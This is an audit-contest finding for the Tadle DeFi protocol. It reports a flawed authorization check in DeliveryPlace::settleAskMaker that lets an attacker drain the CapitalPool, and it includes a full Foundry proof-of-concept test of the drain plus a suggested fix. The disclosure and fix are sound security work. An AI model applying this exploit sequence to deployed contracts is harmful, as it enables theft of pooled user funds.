Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

Attacker can drain CapitalPool by invoking DeliveryPlace::settleAskMaker

Summary

DeliveryPlace::settleAskMaker is supposed to be used by a maker to settle an offer. By invoking it, a maker settles the offer with the amount of settled points, gets a refund for the points not used (if settled points == used points) and deposits point tokens.
The issue lies in the lack of validation so anyone having an offer can invoke this function and get a refund when they should not.

Vulnerability Details

Let’s assume the following scenario:

  • An offer is created by a maker for 1000 points at USDC1000

  • An attacker buys 1 point for USDC1

  • The attacker lists his stock with the intention of not selling it (sets a very high amount – the amount is to be the CapitalPool balance / collateral ratio)

  • When the status gets into AskSettling, the attacker invokes settleAskMaker with zero _settledPoints as argument.
    In this scenario, the attacker will drain the CapitalPool contract of USDC.
    The key to this attack lies in the lack of validation:

if (status == MarketPlaceStatus.AskSettling) {
if (_msgSender() != offerInfo.authority) {
revert Errors.Unauthorized();
}

After that, the attacker will get refunded the result of amount * collateral ratio (since the amount is defined by the attacker when listing his stock, that is the reason the amount set is CapitalPool balance / collateral ratio):

if (_settledPoints == offerInfo.usedPoints) {
if (offerInfo.offerStatus == OfferStatus.Virgin) {
makerRefundAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType, offerInfo.collateralRate, offerInfo.amount, true, Math.Rounding.Floor
);

PoC

Add this test into PreMarkets.t.sol:

function test_drain_CapitalPool_by_calling_settleAskMaker() public {
capitalPool.approve(address(mockUSDCToken));
vm.startPrank(user);
// Creates a turbo offer
preMarktes.createOffer(
CreateOfferParams(
marketPlace, address(mockUSDCToken), 1000, 1000 * 1e18, 12000, 300, OfferType.Ask, OfferSettleType.Turbo
)
);
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.stopPrank();
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
deal(address(mockUSDCToken), attacker, 1_000 * 10 ** 18);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
assertEq(mockUSDCToken.balanceOf(attacker), 1_000 * 10 ** 18);
// Attacker buys 1 point and lists it
preMarktes.createTaker(offerAddr, 1);
address stock1Addr = GenerateAddress.generateStockAddress(1);
// Attacker calculates the amount to be used to set the offer as the balance of capitalPool / collateralRatio
// This way the whole balance will be transferred to the attacker fully draining the contract
uint256 capitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
uint256 offerAmount = capitalPoolBalance * 10000 / 12000;
// Lists the offer with this high amount for just 1 point so will not be sold
preMarktes.listOffer(stock1Addr, offerAmount, 12000);
address offer1Addr = GenerateAddress.generateOfferAddress(1);
vm.stopPrank();
vm.prank(user1);
// Update market so block.timestamp > tge => status is AskSettling
systemConfig.updateMarket("Backpack", address(mockPointToken), 1e18, block.timestamp - 1, 3600);
vm.startPrank(attacker);
// The attacker settles the offer with 0 settled points
deliveryPlace.settleAskMaker(offer1Addr, 0);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
assertEq(mockUSDCToken.balanceOf(address(capitalPool)), 0);
console2.log("Attacker USDC balance after attack", mockUSDCToken.balanceOf(attacker));
}

Tools Used

Foundry

Recommendations

Check msg.sender == makerInfo.authority

if (status == MarketPlaceStatus.AskSettling) {
- if (_msgSender() != offerInfo.authority) {
+ if (_msgSender() != makerInfo.authority) {
revert Errors.Unauthorized();
}
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-listOffer-collateralRate-manipulate

Valid high severity, because the collateral rate utilized when creating an offer is stale and retrieved from a previously set collateral rate, it allows possible manipilation of refund amounts using an inflated collateral rate to drain funds from the CapitalPool contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.